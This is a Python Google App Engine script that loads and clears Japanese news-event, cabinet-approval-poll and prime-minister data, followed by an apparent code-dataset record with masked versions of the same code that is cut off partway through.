p/CN/200903/CN2009032401000025.html"],["2009/1/20","米、オバマ新政権が発足","http://www.47news.jp/CN/200901/CN2009012001000945.html"],["2008/10/31","田母神俊雄航空幕僚長を更迭","http://www.47news.jp/CN/200810/CN2008103101000632.html"],["2008/9/24","麻生内閣発足","http://www.47news.jp/CN/200809/CN2008092401000025.html"],["2008/9/15","リーマン・ショック","http://www.47news.jp/CN/200809/CN2008091501000215.html"],["2008/9/1","福田首相、退陣表明","http://www.47news.jp/CN/200809/CN2008090101000736.html"],["2008/7/7","北海道・洞爺湖サミット~9日","http://www.47news.jp/CN/200807/CN2008070901000704.html"],["2008/6/11","福田首相の問責決議が可決","http://www.47news.jp/CN/200806/CN2008061101000609.html"],["2008/5/12","中国・四川大地震","http://www.47news.jp/CN/200805/CN2008051201000871.html"],["2008/4/9","日銀総裁に白川副総裁が昇格","http://www.47news.jp/CN/200804/CN2008040901000924.html"],["2008/2/19","海自イージス艦が漁船と衝突","http://www.47news.jp/CN/200802/CN2008021901000329.html"],["2008/1/27","大阪府知事選で橋下徹氏初当選","http://www.47news.jp/CN/200801/CN2008012801000076.html"],["2007/11/28","防衛装備疑惑で前防衛次官を逮捕","http://www.47news.jp/CN/200711/CN2007112801000463.html"],["2007/11/2","テロ特措法期限切れ海自撤収命令","http://www.47news.jp/CN/200710/CN2007102901000620.html"],["2007/9/12","安倍首相が退陣。後任に福田氏","http://www.47news.jp/CN/200709/CN2007091201000426.html"],["2007/7/29","参院選で自民党が歴史的惨敗","http://www.47news.jp/CN/200707/CN2007072901000697.html"],["2007/5/28","松岡農相が自殺","http://www.47news.jp/CN/200705/CN2007052801000693.html"],["2007/5/14","改憲手続き定めた国民投票法成立","http://www.47news.jp/CN/200705/CN2007051401000231.html"]] prs = [["2007/4/16","38.3 ","17.5 ","44.2 "],["2007/5/12","38.2 ","14.2 ","47.6 "],["2007/6/1","48.7 ","15.5 ","35.8 "],["2007/7/30","59.0 ","12.0 ","29.0 "],["2007/8/27","45.5 ","14.0 ","40.5 "],["2007/9/13","46.6 ","7.9 ","45.5 "],["2007/9/25","25.6 ","16.6 ","57.8 "],["2007/10/27","29.6 ","20.2 ","50.2 "],["2007/11/5","36.6 ","16.4 ","47.0 "],["2007/12/15","47.6 ","17.1 ","35.3 "],["2008/1/11","42.8 ","15.8 ","41.4 "],["2008/2/9","44.6 ","19.9 ","35.5 "],["2008/3/15","50.6 ","16.0 ","33.4 "],["2008/4/4","59.6 ","13.8 ","26.6 "],["2008/5/1","66.6 ","13.6 ","19.8 "],["2008/6/12","60.2 ","14.8 ","25.0 "],["2008/7/11","53.5 ","19.7 ","26.8 "],["2008/8/1","48.2 ","20.4 ","31.5 "],["2008/9/2","28.0 ","4.1 ","67.9 "],["2008/9/24","32.9 ","18.5 ","48.6 "],["2008/10/18","39.0 ","18.5 ","42.5 "],["2008/11/8","42.1 ","16.9 ","40.9 "],["2008/12/6","61.4 ","13.2 ","25.4 "],["2009/1/10","70.2 ","10.6 ","19.2 "],["2009/2/7","70.9 ","11.0 ","18.1 "],["2009/2/17","76.6 ","10.0 ","13.4 "],["2009/3/7","70.8 ","13.2 ","16.0 "],["2009/3/25","63.4 ","12.8 ","23.7 "],["2009/4/28","56.2 ","14.2 ","29.6 "],["2009/5/11","55.1 ","16.9 ","28.0 "],["2009/5/16","60.2 ","13.5 ","26.2 "],["2009/6/13","70.5 ","12.0 ","17.5 "],["2009/7/3","60.9 ","15.7 ","23.4 "],["2009/9/16","13.1 ","14.9 ","72.0 "],["2009/10/31","22.9 ","15.3 ","61.8 "],["2009/11/28","25.1 ","11.2 ","63.6 "],["2009/12/25","38.1 ","14.7 ","47.1 "],["2010/1/10","33.2 ","16.0 ","50.8 "],["2010/1/17","44.1 ","14.4 ","41.5 "],["2010/2/5","45.1 ","13.5 ","41.4 "],["2010/3/6","48.9 ","14.8 ","36.4 "],["2010/4/3","53.3 ","13.7 ","33.0 "],["2010/4/28","64.4 ","14.9 ","20.7 "],["2010/5/29","73.1 ","7.7 ","19.1 "],["2010/6/4","37.2 ","5.2 ","57.7 "],["2010/7/12","52.2 ","11.5 ","36.2 "],["2010/8/7","44.8 ","16.5 ","38.7 "],["2010/8/27","36.2 ","15.7 ","48.1 "],["2010/9/9","31.5 ","13.8 ","54.7 "],["2010/9/17","21.2 ","14.3 ","64.5 "],["2010/10/5","36.6 ","15.8 ","47.6 "],["2010/11/6","48.6 ","18.7 ","32.7 "],["2010/11/23","61.9 ","14.5 ","23.6 "],["2010/12/25","67.0 ","9.4 ","23.7 "],["2011/1/14","53.9 ","13.9 ","32.1 "],["2011/2/11","63.3 ","16.7 ","19.9 "],["2011/3/26","55.6 ","16.1 ","28.3 "],["2011/4/29","58.6 ","14.5 ","26.8 "],["2011/5/14","57.3 ","14.6 ","28.1 "],["2011/6/28","61.1 ","15.6 ","23.2 "],["2011/7/23","70.6 ","12.3 ","17.1 "],["2011/8/20","70.0 ","14.2 ","15.8 "],["2011/9/2","18.1 ","19.1 ","62.7 "],["2011/10/1","27.8 ","17.6 ","54.6 "],["2011/11/5","34.3 ","18.6 ","47.1 "],["2011/12/3","40.3 ","15.1 ","44.6 "],["2012/1/7","50.6 ","13.7 ","35.7 "],["2012/1/13","47.8 ","16.4 ","35.8 "],["2012/2/18","55.2 ","15.8 ","29.0 "],["2012/3/19","50.2 ","18.2 ","31.6 "],["2012/4/28","60.0 ","13.6 ","26.4 "],["2012/5/26","58.1 ","13.9 ","28.0 "],["2012/6/4","50.0 ","18.0 ","32.0 "],["2012/6/26","54.4 ","15.8 ","29.9 "],["2012/7/14","59.9 ","11.9 ","28.2 "],["2012/8/11","59.0 ","13.1 ","27.9 "],["2012/9/1","59.4 ","14.3 ","26.3 "],["2012/10/1","55.3 ","15.5 ","29.2 "],["2012/11/3","66.0 ","16.2 ","17.7 "],["2012/12/26","21.8 ","16.2 ","62.0 "],["2013/1/26","22.1 ","11.2 ","66.7 "],["2013/2/23","16.2 ","11.1 ","72.7 "],["2013/3/23","16.7 ","12.2 ","71.1 "],["2013/3/30","20.8 ","7.2 ","72.0 "],["2013/4/20","16.0 ","11.9 ","72.1 "],["2013/5/18","16.2 ","12.9 ","70.9 "],["2013/6/1","16.3 ","15.7 ","68.0 "],["2013/6/8","20.4 ","8.4 ","71.2 "],["2013/7/22","31.7 ","12.1 ","56.2 "],["2013/8/24","25.6 ","16.7 ","57.7 "],["2013/9/14","20.4 ","17.8 ","61.8 "],["2013/9/28","21.8 ","7.5 ","70.7 "],["2013/10/1","24.1 ","12.6 ","63.3 "],["2013/10/26","27.0 ","12.3 ","60.7 "],["2013/11/23","26.2 ","15.9 ","57.9 "],["2013/12/8","38.4 ","14.0 ","47.6 "],["2013/12/14","35.9 ","7.2 ","56.9 "],["2013/12/22","33.0 ","12.8 ","54.2 "],["2013/12/28","32.6 ","12.2 ","55.2 "],["2014/1/25","31.0 ","13.1 ","55.9 "],["2014/2/22","29.7 ","16.4 ","53.9 "],["2014/4/11","26.7 ","13.5 ","59.8 "],["2014/5/17","32.5 ","12.8 ","54.7 "],["2014/6/21","33.0 ","14.9 ","52.1 "],["2014/7/1","40.6 ","11.6 ","47.8 "]] gos = [["野田","2011/09/02","2012/12/26"],["菅","2010/06/08","2011/09/02"],["鳩山","2009/09/16","2010/06/08"],["麻生","2008/09/24","2009/09/16"],["福田","2007/09/26","2008/09/24"],["安倍","2007/04/01","2007/09/26"]] class initDATA(webapp.RequestHandler): ''' classdocs ''' def get(self): user = users.get_current_user() if user == None: self.redirect(users.create_login_url(self.request.uri)) return for ht in hts: htdate = datetime.date(datetime.strptime(ht[0], '%Y/%m/%d')) obj1 = HistoricalTable(date=htdate,title=ht[1],url=ht[2]) obj1.save() for pr in prs: prdate = datetime.date(datetime.strptime(pr[0], '%Y/%m/%d')) obj2 = PollRating(date=prdate,approval_rate=float(pr[3]),unknown_rate=float(pr[2]),disapproval_rate=float(pr[1])) obj2.save() for pgo in gos: gosdate = datetime.date(datetime.strptime(pgo[1], '%Y/%m/%d')) try: goedate = datetime.date(datetime.strptime(pgo[2], '%Y/%m/%d')) except: goedate = None obj3 = Government(name=pgo[0], begin=gosdate, end=goedate) obj3.save() class clearDATA(webapp.RequestHandler): def get(self): user = users.get_current_user() if user == None: self.redirect(users.create_login_url(self.request.uri)) return for ht in HistoricalTable.all(): ht.delete() for pr in PollRating.all(): pr.delete() for pgo in Government.all(): pgo.delete()
normal
{ "blob_id": "b8957acb71d435a93b4397a24d3b5cf4b2a817f8", "index": 2602, "step-1": "<mask token>\n\n\nclass initDATA(webapp.RequestHandler):\n <mask token>\n\n def get(self):\n user = users.get_current_user()\n if user == None:\n self.redirect(users.create_login_url(self.request.uri))\n return\n for ht in hts:\n htdate = datetime.date(datetime.strptime(ht[0], '%Y/%m/%d'))\n obj1 = HistoricalTable(date=htdate, title=ht[1], url=ht[2])\n obj1.save()\n for pr in prs:\n prdate = datetime.date(datetime.strptime(pr[0], '%Y/%m/%d'))\n obj2 = PollRating(date=prdate, approval_rate=float(pr[3]),\n unknown_rate=float(pr[2]), disapproval_rate=float(pr[1]))\n obj2.save()\n for pgo in gos:\n gosdate = datetime.date(datetime.strptime(pgo[1], '%Y/%m/%d'))\n try:\n goedate = datetime.date(datetime.strptime(pgo[2], '%Y/%m/%d'))\n except:\n goedate = None\n obj3 = Government(name=pgo[0], begin=gosdate, end=goedate)\n obj3.save()\n\n\nclass clearDATA(webapp.RequestHandler):\n\n def get(self):\n user = users.get_current_user()\n if user == None:\n self.redirect(users.create_login_url(self.request.uri))\n return\n for ht in HistoricalTable.all():\n ht.delete()\n for pr in PollRating.all():\n pr.delete()\n for pgo in Government.all():\n pgo.delete()\n", "step-2": "<mask token>\n\n\nclass initDATA(webapp.RequestHandler):\n \"\"\"\n classdocs\n \"\"\"\n\n def get(self):\n user = users.get_current_user()\n if user == None:\n self.redirect(users.create_login_url(self.request.uri))\n return\n for ht in hts:\n htdate = datetime.date(datetime.strptime(ht[0], '%Y/%m/%d'))\n obj1 = HistoricalTable(date=htdate, title=ht[1], url=ht[2])\n obj1.save()\n for pr in prs:\n prdate = datetime.date(datetime.strptime(pr[0], '%Y/%m/%d'))\n obj2 = PollRating(date=prdate, approval_rate=float(pr[3]),\n unknown_rate=float(pr[2]), disapproval_rate=float(pr[1]))\n obj2.save()\n for pgo in gos:\n gosdate = datetime.date(datetime.strptime(pgo[1], '%Y/%m/%d'))\n try:\n goedate = datetime.date(datetime.strptime(pgo[2], '%Y/%m/%d'))\n except:\n goedate = None\n obj3 = Government(name=pgo[0], begin=gosdate, end=goedate)\n obj3.save()\n\n\nclass clearDATA(webapp.RequestHandler):\n\n def get(self):\n user = users.get_current_user()\n if user == None:\n self.redirect(users.create_login_url(self.request.uri))\n return\n for ht in HistoricalTable.all():\n ht.delete()\n for pr in PollRating.all():\n pr.delete()\n for pgo in Government.all():\n pgo.delete()\n", "step-3": "<mask token>\nhts = [['2014/7/1', '集団的自衛権行使容認の閣議決定',\n 'http://www.47news.jp/47topics/e/254919.php'], ['2014/3/18',\n 'ロシア、クリミアを編入', 'http://www.47news.jp/CN/201403/CN2014031801002413.html'\n ], ['2014/2/9', '舛添氏が圧勝、東京都知事選',\n 'http://www.47news.jp/CN/201402/CN2014020901001630.html'], ['2014/1/7',\n '国家安全保障局を設置', 'http://www.47news.jp/CN/201401/CN2014010701001086.html'],\n ['2013/12/26', '安倍首相が靖国神社参拝',\n 'http://www.47news.jp/CN/201312/CN2013122601000987.html'], ['2013/12/6',\n '特定秘密保護法が成立', 'http://www.47news.jp/CN/201312/CN2013120601002724.html'],\n ['2013/11/3', '東北楽天がプロ野球日本一',\n 'http://www.47news.jp/CN/201311/CN2013110301002118.html'], ['2013/10/1',\n '消費税率引き上げ決定、4月8%',\n 'http://www.47news.jp/CN/201310/CN2013100101002292.html'], ['2013/9/8',\n '2020年東京五輪開催決定',\n 'http://www.47news.jp/CN/201309/CN2013090401001495.html'], ['2013/7/21',\n '参院選で自民圧勝、ねじれ解消',\n 'http://www.47news.jp/CN/201307/CN2013072101001638.html'], ['2013/3/15',\n 'TPP交渉に参加表明', 'http://www.47news.jp/CN/201303/CN2013031501001566.html'],\n ['2013/2/12', '北朝鮮が3度目の核実験',\n 'http://www.47news.jp/CN/201302/CN2013021201001987.html'], ['2013/1/16',\n 'アルジェリア人質事件発生',\n 'http://www.47news.jp/CN/201301/CN2013011601001649.html'], [\n '2012/12/26', '第2次安倍内閣発足',\n 'http://www.47news.jp/CN/201212/CN2012122601001577.html'], ['2012/12/6',\n '自公が政権奪還、衆院選', 'http://www.47news.jp/CN/201212/CN2012121601001041.html'\n ], ['2012/11/15', '習近平新指導部発足、中国',\n 'http://www.47news.jp/CN/201211/CN2012111501001203.html'], ['2012/11/6',\n 'オバマ米大統領が再選', 'http://www.47news.jp/CN/201211/CN2012110701000867.html'],\n ['2012/10/1', '新型輸送機オスプレイを沖縄配備',\n 'http://www.47news.jp/CN/201210/CN2012100101001335.html'], ['2012/9/11',\n '尖閣諸島の魚釣島など3島国有化',\n 'http://www.47news.jp/CN/201209/CN2012091101001254.html'], ['2012/8/10',\n '消費税増税法が成立、10%へ',\n 'http://www.47news.jp/CN/201208/CN2012081001002702.html'], ['2012/6/27',\n '東京電力を国有化、公的資金注入',\n 'http://www.47news.jp/CN/201206/CN2012062701001601.html'], [\n '2011/12/19', '北朝鮮の金正日総書記が死去発表',\n 'http://www.47news.jp/CN/201112/CN2011121901001386.html'], [\n '2011/11/27', '大阪ダブル選で「維新の会」勝利',\n 'http://www.47news.jp/CN/201111/CN2011112701001230.html'], [\n '2011/10/20', 'リビアのカダフィ大佐が死亡',\n 'http://www.47news.jp/CN/201110/CN2011102001000912.html'], ['2011/10/5',\n '米アップル創業者ジョブズ氏死去',\n 'http://www.47news.jp/CN/201110/CN2011100601000102.html'], ['2011/9/2',\n '野田内閣が発足', 'http://www.47news.jp/CN/201109/CN2011090201000656.html'], [\n '2011/8/19', '円が戦後最高値更新、75円95銭',\n 'http://www.47news.jp/CN/201108/CN2011081901001116.html'], ['2011/7/17',\n 'なでしこジャパン女子W杯初優勝',\n 'http://www.47news.jp/CN/201107/CN2011071801000025.html'], ['2011/5/6',\n '首相、浜岡原発停止要請', 'http://www.47news.jp/CN/201105/CN2011050601000847.html'\n ], ['2011/3/11', '東日本大震災',\n 'http://www.47news.jp/CN/201103/CN2011031101000455.html'], ['2011/2/22',\n 'NZ地震、日本人28人も死亡',\n 'http://www.47news.jp/CN/201104/CN2011040401001017.html'], ['2011/1/31',\n '民主党小沢一郎元代表を強制起訴',\n 'http://www.47news.jp/CN/201101/CN2011013101000352.html'], [\n '2010/11/23', '北朝鮮が韓国・延坪島砲撃',\n 'http://www.47news.jp/CN/201011/CN2010112301000213.html'], ['2010/10/6',\n 'ノーベル化学賞に根岸、鈴木両氏',\n 'http://www.47news.jp/CN/201010/CN2010100601000811.html'], ['2010/9/15',\n '政府が為替介入、6年半ぶり',\n 'http://www.47news.jp/CN/201009/CN2010091501000138.html'], ['2010/9/7',\n '尖閣で中国漁船が巡視船に衝突',\n 'http://www.47news.jp/CN/201009/CN2010090701000382.html'], ['2010/7/11',\n '参院選で民主党大敗、ねじれ国会',\n 'http://www.47news.jp/CN/201007/CN2010071101000032.html'], ['2010/6/8',\n '鳩山首相退陣、菅内閣発足',\n 'http://www.47news.jp/CN/201006/CN2010060801000756.html'], ['2010/5/28',\n '普天間移設で日米合意', 'http://www.47news.jp/CN/201005/CN2010052801000165.html'],\n ['2010/4/20', '宮崎県で口蹄疫、被害拡大',\n 'http://www.47news.jp/CN/201004/CN2010042001000207.html'], [\n '2009/11/20', 'デフレ宣言、3年5カ月ぶり',\n 'http://www.47news.jp/CN/200911/CN2009112001000267.html'], ['2009/10/2',\n '2016年五輪はリオ、東京落選',\n 'http://www.47news.jp/CN/200910/CN2009100201000542.html'], ['2009/9/16',\n '鳩山内閣発足', 'http://www.47news.jp/CN/200909/CN2009091601000915.html'], [\n '2009/8/30', '民主党圧勝で政権交代、衆院選',\n 'http://www.47news.jp/CN/200908/CN2009083001000015.html'], ['2009/8/3',\n '全国初の裁判員裁判、東京地裁',\n 'http://www.47news.jp/CN/200908/CN2009080301000461.html'], ['2009/6/25',\n '歌手M・ジャクソンさん急死',\n 'http://www.47news.jp/CN/200906/CN2009062601000067.html'], ['2009/5/25',\n '北朝鮮が2回目の核実験', 'http://www.47news.jp/CN/200905/CN2009052501000261.html'\n ], ['2009/3/23', 'WBCで「侍ジャパン」が連覇',\n 'http://www.47news.jp/CN/200903/CN2009032401000025.html'], ['2009/1/20',\n '米、オバマ新政権が発足', 'http://www.47news.jp/CN/200901/CN2009012001000945.html'\n ], ['2008/10/31', '田母神俊雄航空幕僚長を更迭',\n 'http://www.47news.jp/CN/200810/CN2008103101000632.html'], ['2008/9/24',\n '麻生内閣発足', 'http://www.47news.jp/CN/200809/CN2008092401000025.html'], [\n '2008/9/15', 'リーマン・ショック',\n 'http://www.47news.jp/CN/200809/CN2008091501000215.html'], ['2008/9/1',\n '福田首相、退陣表明', 'http://www.47news.jp/CN/200809/CN2008090101000736.html'],\n ['2008/7/7', '北海道・洞爺湖サミット~9日',\n 'http://www.47news.jp/CN/200807/CN2008070901000704.html'], ['2008/6/11',\n '福田首相の問責決議が可決',\n 'http://www.47news.jp/CN/200806/CN2008061101000609.html'], ['2008/5/12',\n '中国・四川大地震', 'http://www.47news.jp/CN/200805/CN2008051201000871.html'],\n ['2008/4/9', '日銀総裁に白川副総裁が昇格',\n 'http://www.47news.jp/CN/200804/CN2008040901000924.html'], ['2008/2/19',\n '海自イージス艦が漁船と衝突',\n 'http://www.47news.jp/CN/200802/CN2008021901000329.html'], ['2008/1/27',\n '大阪府知事選で橋下徹氏初当選',\n 'http://www.47news.jp/CN/200801/CN2008012801000076.html'], [\n '2007/11/28', '防衛装備疑惑で前防衛次官を逮捕',\n 'http://www.47news.jp/CN/200711/CN2007112801000463.html'], ['2007/11/2',\n 'テロ特措法期限切れ海自撤収命令',\n 'http://www.47news.jp/CN/200710/CN2007102901000620.html'], ['2007/9/12',\n '安倍首相が退陣。後任に福田氏',\n 'http://www.47news.jp/CN/200709/CN2007091201000426.html'], ['2007/7/29',\n '参院選で自民党が歴史的惨敗',\n 'http://www.47news.jp/CN/200707/CN2007072901000697.html'], ['2007/5/28',\n '松岡農相が自殺', 'http://www.47news.jp/CN/200705/CN2007052801000693.html'], [\n '2007/5/14', '改憲手続き定めた国民投票法成立',\n 'http://www.47news.jp/CN/200705/CN2007051401000231.html']]\nprs = [['2007/4/16', '38.3 ', '17.5 ', '44.2 '], ['2007/5/12', '38.2 ',\n '14.2 ', '47.6 '], ['2007/6/1', '48.7 ', '15.5 ', '35.8 '], [\n '2007/7/30', '59.0 ', '12.0 ', '29.0 '], ['2007/8/27', '45.5 ', '14.0 ',\n '40.5 '], ['2007/9/13', '46.6 ', '7.9 ', '45.5 '], ['2007/9/25',\n '25.6 ', '16.6 ', '57.8 '], ['2007/10/27', '29.6 ', '20.2 ', '50.2 '],\n ['2007/11/5', '36.6 ', '16.4 ', '47.0 '], ['2007/12/15', '47.6 ',\n '17.1 ', '35.3 '], ['2008/1/11', '42.8 ', '15.8 ', '41.4 '], [\n '2008/2/9', '44.6 ', '19.9 ', '35.5 '], ['2008/3/15', '50.6 ', '16.0 ',\n '33.4 '], ['2008/4/4', '59.6 ', '13.8 ', '26.6 '], ['2008/5/1', '66.6 ',\n '13.6 ', '19.8 '], ['2008/6/12', '60.2 ', '14.8 ', '25.0 '], [\n '2008/7/11', '53.5 ', '19.7 ', '26.8 '], ['2008/8/1', '48.2 ', '20.4 ',\n '31.5 '], ['2008/9/2', '28.0 ', '4.1 ', '67.9 '], ['2008/9/24', '32.9 ',\n '18.5 ', '48.6 '], ['2008/10/18', '39.0 ', '18.5 ', '42.5 '], [\n '2008/11/8', '42.1 ', '16.9 ', '40.9 '], ['2008/12/6', '61.4 ', '13.2 ',\n '25.4 '], ['2009/1/10', '70.2 ', '10.6 ', '19.2 '], ['2009/2/7',\n '70.9 ', '11.0 ', '18.1 '], ['2009/2/17', '76.6 ', '10.0 ', '13.4 '], [\n '2009/3/7', '70.8 ', '13.2 ', '16.0 '], ['2009/3/25', '63.4 ', '12.8 ',\n '23.7 '], ['2009/4/28', '56.2 ', '14.2 ', '29.6 '], ['2009/5/11',\n '55.1 ', '16.9 ', '28.0 '], ['2009/5/16', '60.2 ', '13.5 ', '26.2 '], [\n '2009/6/13', '70.5 ', '12.0 ', '17.5 '], ['2009/7/3', '60.9 ', '15.7 ',\n '23.4 '], ['2009/9/16', '13.1 ', '14.9 ', '72.0 '], ['2009/10/31',\n '22.9 ', '15.3 ', '61.8 '], ['2009/11/28', '25.1 ', '11.2 ', '63.6 '],\n ['2009/12/25', '38.1 ', '14.7 ', '47.1 '], ['2010/1/10', '33.2 ',\n '16.0 ', '50.8 '], ['2010/1/17', '44.1 ', '14.4 ', '41.5 '], [\n '2010/2/5', '45.1 ', '13.5 ', '41.4 '], ['2010/3/6', '48.9 ', '14.8 ',\n '36.4 '], ['2010/4/3', '53.3 ', '13.7 ', '33.0 '], ['2010/4/28',\n '64.4 ', '14.9 ', '20.7 '], ['2010/5/29', '73.1 ', '7.7 ', '19.1 '], [\n '2010/6/4', '37.2 ', '5.2 ', '57.7 '], ['2010/7/12', '52.2 ', '11.5 ',\n '36.2 '], ['2010/8/7', '44.8 ', '16.5 ', '38.7 '], ['2010/8/27',\n '36.2 ', '15.7 ', '48.1 '], ['2010/9/9', '31.5 ', '13.8 ', '54.7 '], [\n '2010/9/17', '21.2 ', '14.3 ', '64.5 '], ['2010/10/5', '36.6 ', '15.8 ',\n '47.6 '], ['2010/11/6', '48.6 ', '18.7 ', '32.7 '], ['2010/11/23',\n '61.9 ', '14.5 ', '23.6 '], ['2010/12/25', '67.0 ', '9.4 ', '23.7 '], [\n '2011/1/14', '53.9 ', '13.9 ', '32.1 '], ['2011/2/11', '63.3 ', '16.7 ',\n '19.9 '], ['2011/3/26', '55.6 ', '16.1 ', '28.3 '], ['2011/4/29',\n '58.6 ', '14.5 ', '26.8 '], ['2011/5/14', '57.3 ', '14.6 ', '28.1 '], [\n '2011/6/28', '61.1 ', '15.6 ', '23.2 '], ['2011/7/23', '70.6 ', '12.3 ',\n '17.1 '], ['2011/8/20', '70.0 ', '14.2 ', '15.8 '], ['2011/9/2',\n '18.1 ', '19.1 ', '62.7 '], ['2011/10/1', '27.8 ', '17.6 ', '54.6 '], [\n '2011/11/5', '34.3 ', '18.6 ', '47.1 '], ['2011/12/3', '40.3 ', '15.1 ',\n '44.6 '], ['2012/1/7', '50.6 ', '13.7 ', '35.7 '], ['2012/1/13',\n '47.8 ', '16.4 ', '35.8 '], ['2012/2/18', '55.2 ', '15.8 ', '29.0 '], [\n '2012/3/19', '50.2 ', '18.2 ', '31.6 '], ['2012/4/28', '60.0 ', '13.6 ',\n '26.4 '], ['2012/5/26', '58.1 ', '13.9 ', '28.0 '], ['2012/6/4',\n '50.0 ', '18.0 ', '32.0 '], ['2012/6/26', '54.4 ', '15.8 ', '29.9 '], [\n '2012/7/14', '59.9 ', '11.9 ', '28.2 '], ['2012/8/11', '59.0 ', '13.1 ',\n '27.9 '], ['2012/9/1', '59.4 ', '14.3 ', '26.3 '], ['2012/10/1',\n '55.3 ', '15.5 ', '29.2 '], ['2012/11/3', '66.0 ', '16.2 ', '17.7 '], [\n '2012/12/26', '21.8 ', '16.2 ', '62.0 '], ['2013/1/26', '22.1 ',\n '11.2 ', '66.7 '], ['2013/2/23', '16.2 ', '11.1 ', '72.7 '], [\n '2013/3/23', '16.7 ', '12.2 ', '71.1 '], ['2013/3/30', '20.8 ', '7.2 ',\n '72.0 '], ['2013/4/20', '16.0 ', '11.9 ', '72.1 '], ['2013/5/18',\n '16.2 ', '12.9 ', '70.9 '], ['2013/6/1', '16.3 ', '15.7 ', '68.0 '], [\n '2013/6/8', '20.4 ', '8.4 ', '71.2 '], ['2013/7/22', '31.7 ', '12.1 ',\n '56.2 '], ['2013/8/24', '25.6 ', '16.7 ', '57.7 '], ['2013/9/14',\n '20.4 ', '17.8 ', '61.8 '], ['2013/9/28', '21.8 ', '7.5 ', '70.7 '], [\n '2013/10/1', '24.1 ', '12.6 ', '63.3 '], ['2013/10/26', '27.0 ',\n '12.3 ', '60.7 '], ['2013/11/23', '26.2 ', '15.9 ', '57.9 '], [\n '2013/12/8', '38.4 ', '14.0 ', '47.6 '], ['2013/12/14', '35.9 ', '7.2 ',\n '56.9 '], ['2013/12/22', '33.0 ', '12.8 ', '54.2 '], ['2013/12/28',\n '32.6 ', '12.2 ', '55.2 '], ['2014/1/25', '31.0 ', '13.1 ', '55.9 '], [\n '2014/2/22', '29.7 ', '16.4 ', '53.9 '], ['2014/4/11', '26.7 ', '13.5 ',\n '59.8 '], ['2014/5/17', '32.5 ', '12.8 ', '54.7 '], ['2014/6/21',\n '33.0 ', '14.9 ', '52.1 '], ['2014/7/1', '40.6 ', '11.6 ', '47.8 ']]\ngos = [['野田', '2011/09/02', '2012/12/26'], ['菅', '2010/06/08', '2011/09/02'\n ], ['鳩山', '2009/09/16', '2010/06/08'], ['麻生', '2008/09/24',\n '2009/09/16'], ['福田', '2007/09/26', '2008/09/24'], ['安倍', '2007/04/01',\n '2007/09/26']]\n\n\nclass initDATA(webapp.RequestHandler):\n \"\"\"\n classdocs\n \"\"\"\n\n def get(self):\n user = users.get_current_user()\n if user == None:\n self.redirect(users.create_login_url(self.request.uri))\n return\n for ht in hts:\n htdate = datetime.date(datetime.strptime(ht[0], '%Y/%m/%d'))\n obj1 = HistoricalTable(date=htdate, title=ht[1], url=ht[2])\n obj1.save()\n for pr in prs:\n prdate = datetime.date(datetime.strptime(pr[0], '%Y/%m/%d'))\n obj2 = PollRating(date=prdate, approval_rate=float(pr[3]),\n unknown_rate=float(pr[2]), disapproval_rate=float(pr[1]))\n obj2.save()\n for pgo in gos:\n gosdate = datetime.date(datetime.strptime(pgo[1], '%Y/%m/%d'))\n try:\n goedate = datetime.date(datetime.strptime(pgo[2], '%Y/%m/%d'))\n except:\n goedate = None\n obj3 = Government(name=pgo[0], begin=gosdate, end=goedate)\n obj3.save()\n\n\nclass clearDATA(webapp.RequestHandler):\n\n def get(self):\n user = users.get_current_user()\n if user == None:\n self.redirect(users.create_login_url(self.request.uri))\n return\n for ht in HistoricalTable.all():\n ht.delete()\n for pr in PollRating.all():\n pr.delete()\n for pgo in Government.all():\n pgo.delete()\n", "step-4": "<mask token>\nfrom google.appengine.api import users\nfrom google.appengine.ext import webapp\nfrom MyModel import HistoricalTable, PollRating, Government\nfrom datetime import datetime\nhts = [['2014/7/1', '集団的自衛権行使容認の閣議決定',\n 'http://www.47news.jp/47topics/e/254919.php'], ['2014/3/18',\n 'ロシア、クリミアを編入', 'http://www.47news.jp/CN/201403/CN2014031801002413.html'\n ], ['2014/2/9', '舛添氏が圧勝、東京都知事選',\n 'http://www.47news.jp/CN/201402/CN2014020901001630.html'], ['2014/1/7',\n '国家安全保障局を設置', 'http://www.47news.jp/CN/201401/CN2014010701001086.html'],\n ['2013/12/26', '安倍首相が靖国神社参拝',\n 'http://www.47news.jp/CN/201312/CN2013122601000987.html'], ['2013/12/6',\n '特定秘密保護法が成立', 'http://www.47news.jp/CN/201312/CN2013120601002724.html'],\n ['2013/11/3', '東北楽天がプロ野球日本一',\n 'http://www.47news.jp/CN/201311/CN2013110301002118.html'], ['2013/10/1',\n '消費税率引き上げ決定、4月8%',\n 'http://www.47news.jp/CN/201310/CN2013100101002292.html'], ['2013/9/8',\n '2020年東京五輪開催決定',\n 'http://www.47news.jp/CN/201309/CN2013090401001495.html'], ['2013/7/21',\n '参院選で自民圧勝、ねじれ解消',\n 'http://www.47news.jp/CN/201307/CN2013072101001638.html'], ['2013/3/15',\n 'TPP交渉に参加表明', 'http://www.47news.jp/CN/201303/CN2013031501001566.html'],\n ['2013/2/12', '北朝鮮が3度目の核実験',\n 'http://www.47news.jp/CN/201302/CN2013021201001987.html'], ['2013/1/16',\n 'アルジェリア人質事件発生',\n 'http://www.47news.jp/CN/201301/CN2013011601001649.html'], [\n '2012/12/26', '第2次安倍内閣発足',\n 'http://www.47news.jp/CN/201212/CN2012122601001577.html'], ['2012/12/6',\n '自公が政権奪還、衆院選', 'http://www.47news.jp/CN/201212/CN2012121601001041.html'\n ], ['2012/11/15', '習近平新指導部発足、中国',\n 'http://www.47news.jp/CN/201211/CN2012111501001203.html'], ['2012/11/6',\n 'オバマ米大統領が再選', 'http://www.47news.jp/CN/201211/CN2012110701000867.html'],\n ['2012/10/1', '新型輸送機オスプレイを沖縄配備',\n 'http://www.47news.jp/CN/201210/CN2012100101001335.html'], ['2012/9/11',\n '尖閣諸島の魚釣島など3島国有化',\n 'http://www.47news.jp/CN/201209/CN2012091101001254.html'], ['2012/8/10',\n '消費税増税法が成立、10%へ',\n 'http://www.47news.jp/CN/201208/CN2012081001002702.html'], ['2012/6/27',\n '東京電力を国有化、公的資金注入',\n 'http://www.47news.jp/CN/201206/CN2012062701001601.html'], [\n '2011/12/19', '北朝鮮の金正日総書記が死去発表',\n 'http://www.47news.jp/CN/201112/CN2011121901001386.html'], [\n '2011/11/27', '大阪ダブル選で「維新の会」勝利',\n 'http://www.47news.jp/CN/201111/CN2011112701001230.html'], [\n '2011/10/20', 'リビアのカダフィ大佐が死亡',\n 'http://www.47news.jp/CN/201110/CN2011102001000912.html'], ['2011/10/5',\n '米アップル創業者ジョブズ氏死去',\n 'http://www.47news.jp/CN/201110/CN2011100601000102.html'], ['2011/9/2',\n '野田内閣が発足', 